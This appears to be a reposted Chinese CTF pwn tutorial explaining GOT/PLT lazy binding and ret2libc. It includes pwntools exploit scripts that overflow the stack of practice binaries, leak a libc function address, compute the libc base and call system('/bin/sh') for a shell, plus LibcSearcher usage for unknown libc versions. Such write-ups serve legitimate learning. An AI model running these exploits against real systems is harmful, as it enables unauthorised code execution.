用动态链接动态泄露system地址并利用

news/2024/10/3 4:30:46

已知libc库的情况

在动态编译的程序中,如果没有对system函数的直接调用,在plt中就不会存在system函数,也就是不能直接知道system函数的地址
在解决动态编译的二进制文件之前,需要了解动态链接的基础知识,这个过程叫作lzy-binding。程序对外部函数的调用要求在生成可执行文件时将外部函数链接到程序中链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码。动态链接得到的可执行文件不包含外部函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,在发生调用时再去链接库定位所需的函数。

这里通过几个简单的概念和过程的分析来说明整个过程。

  1. GOT。GOT是全局偏移量表(Global0fset Table),用于存储外部函数在内存中的确切地址。GOT存储在数据段(DataSegment)内,可以在程序运行过程中被修改。
  2. PIT是程序链接表(Procedure Linkage Table),用来存储外部函数的人口点(entry),换言之,程序会到 PLT 中寻找外部函数的地址。PLT存储在代码段(CodeSegment)内,在运行之前就已经确定并目不会被修改。

简单来讲,GOT是个数据表,存储的是外部函数的地址,具有读写权限(在FULLRELRO 保护机制开启的时候,没有读写权限):PLT是外部函数的人口表,存储的是每个外部函数的代码,具有执行权限

当程序在第一次运行的时候,会进入已被转载进内存中的动态链接库中查找对应的函数和地址,并把函数的地址放到got表中,将got表的地址数据映射为plt表的表项;在程序二次运行的时候,就不用再重新查找函数地址,而是直接通过plt表找到got表中函数的地址,从而执行函数的功能了。
在首次调用导出函数时,由于未知函数真正地址(这时表现为xxx@plt),去访问plt表中该函数所在的项(为一段代码,三条指令如上图所示),之后去访问GOT表,又跳到PLT[0]的中(代码段)调用函数_dl_runtime_resolve去获取真正的函数地址并修改对应的GOT表项
image
还有几点需要注意

  1. GOT[0] 是.dynamic段的装载地址,.dynamic段包含了动态链接器用来绑定过程地址的信息,比如符号的位置和重定位信息;
  2. GOT[1] 是动态链接器的标识link_map的地址;
  3. GOT[2] 包含动态链接器的延迟绑定代码_dl_runtime_resolve的入口点,用于得到真正的函数地址,回写到对应的got表中;
  4. 从 GOT[3] 开始就是函数的地址。
    image

对于任意两个函数的偏移是固定的,我们可以根据这个来做题,我们需要泄露一个函数地址,根据偏移来计算基地址,这样就能得到我们想要的地址
用一道例题来具体说明一下
例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc3
首先查看保护
image
地址随机化,NX开启
IDA反编译,没有发现后门函数,所以我们需要调用动态链接库里面的system来getshell
第一步:先泄露函数的一个地址
我们发现了栈溢出漏洞和put输出函数,那么我们就可以根据这个函数泄露地址
image

from pwn import *p = process("./ret2libc3")
gdb.attach(p,"b *0x0804854C")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
main_addr = 0x0804854E
p.recvuntil("ret2libc3\n")
payload1 = "a" * 0x108 + p32(1)
payload1 += p32(puts_plt) + p32(main_addr) + p32(gets_got)
p.sendline(payload1)

根据EXP我们可以看到,通过调用put函数来打印got表中gets的地址,这样gets的地址就泄露成功了
第二步:计算偏移
我们泄露了gets函数的地址,那么根据它的偏移,就能得到基地址.base_addr= 泄露地址 - 减去偏移

leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))

这里的libc.symbosl['']在设置基地址之前得到的是偏移值,在设置基地址之后得到的是实际地址值
第三步:攻击

system = libc.symbols["system"] #得到实际地址值
binsh = libc.search("/bin/sh").next() #搜索字符串,返回地址
p.recvuntil("ret2libc3\n")
payload2 = "a" * 0x108 + p32(1)
payload2 += p32(system) + p32(1) + p32(binsh)
p.sendline(payload2)
p.interactive()

这样一个已知动态链接库的题就写好了,说到这肯定想问,那要是未知呢?别急接着往下看

未知动态链接库

对于未知动态链接库,做题方式和已知链接库是大同小异的,无非是确定libc库是什么版本,我们来看一下怎么确定
在我现在学习中,有三种方法(实际肯定不止三种,使用自己觉得好用的就行)

  1. 在 github上有个 libc-database 项目,可以使用项目上的方法找出对应版本。
  2. 在网站 https://libc.nullbyte.cat/ 上输入对应的函数名和地址找到 1ibc 版本。
  3. 使用python库libcsearcher

这里我们说一下第三种

  1. 安装
    git clone https://github.com/lieanu/LibcSearcher.git
    cd LibcSearcher
    python setup.py develop
    
  2. 基本使用
    libc = LibcSearcher("func",gets_real_addr)             #寻找匹配的libc版本libcbase = gets_real_addr – obj.dump("func")            #确定基地址system_addr = libcbase + obj.dump("system")            #system 偏移bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc
普通栈溢出image
这里距离栈底为0x14个字节,但是按照14个字节编写会报错,我们使用cyclic的方法判断溢出,发现距离栈底为0x1c个字节
直接上脚本

from pwn import *
from LibcSearcher import *
ret2libc = ELF('./1')
p = process('./1')
p.recvuntil('is')
binsh_addr = int(p.recvuntil('\n' , drop=True) , 16)
p.recvuntil('is')
puts_addr = int(p.recvuntil('\n' , drop = True) , 16)
libc = LibcSearcher('puts' , puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
payload = 32 * b'a'  + p32(system_addr) + p32(1) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

做好使用python3运行,别问我怎么知道的~~~~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/44680.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

MLOps模型部署的三种策略:批处理、实时、边缘计算

机器学习运维(MLOps)是一组用于自动化和简化机器学习(ML)工作流程和部署的实践。所选择的部署策略可以显著影响系统的性能和效用。所以需要根据用例和需求,采用不同的部署策略。在这篇文章中,我们将探讨三种常见的模型部署策略:批处理、实时和边缘计算。https://avoid.ov…

步进电机Linux驱动

本文将介绍步进电机Linux驱动程序,分为以三部分:步进电机介绍,硬件原理图以及程序编写 1 步进电机介绍 步进电机是一种将电脉冲信号转变为角位移或者线位移的开环控制元件,在非超载的状态下,电机的转速、停止位置只取决于脉冲信号的频率和脉冲数,不受负载变化的影响,并且…

VSCode使用svn代码管理工具,初次检出失败

打开vscode,若要使用SVN需要下载相应的插件。 2.安装之后,需要对SVN插件进行配置,配置本地SVN的命令行执行文件地址。点击左下角齿轮,选择“设置Settings”。"svn.path": "C:/Program Files/TortoiseSVN/bin/svn.exe"3.如图所示。设置完毕后重启VS COD…

团队作业5月20日

1.整个项目预期的任务量:340 目前已经花的时间:20 剩余的时间:10 2.任务看板照片:4.产品状态: 最新做好的功能: 正在完成中 6.燃尽图:

团队作业5月25日

1.整个项目预期的任务量:340 目前已经花的时间:25 剩余的时间:5 2.任务看板照片:4.产品状态: 最新做好的功能: 正在完成中 6.燃尽图:

【Mysql】Windows下安装和配置Mysql

一、下载 官网下载Mysql:https://dev.mysql.com/downloads/mysql/ 百度网盘链接mysql-8.0.31:https://pan.baidu.com/s/1CiW7oL8fR05NPZT55_9DUQ?pwd=0724 提取码:0724 二、解压 下载完成后我们得到的是一个压缩包,将其解压,我们就可以得到MySQL 8.0.31 的软件本体了(就是…

团队会议4月28日

站立会议: 1.团队照片:2.整个项目预期的任务量:340 目前已经花的时间:9 剩余的时间:19 3.任务看板照片:4.产品状态: 最新做好的功能: 正在完成中 6.燃尽图:

团队会议4月29日

站立会议: 1.团队照片:2.整个项目预期的任务量:340 目前已经花的时间:15 剩余的时间:15 3.任务看板照片:4.产品状态: 最新做好的功能: 正在完成中 6.燃尽图: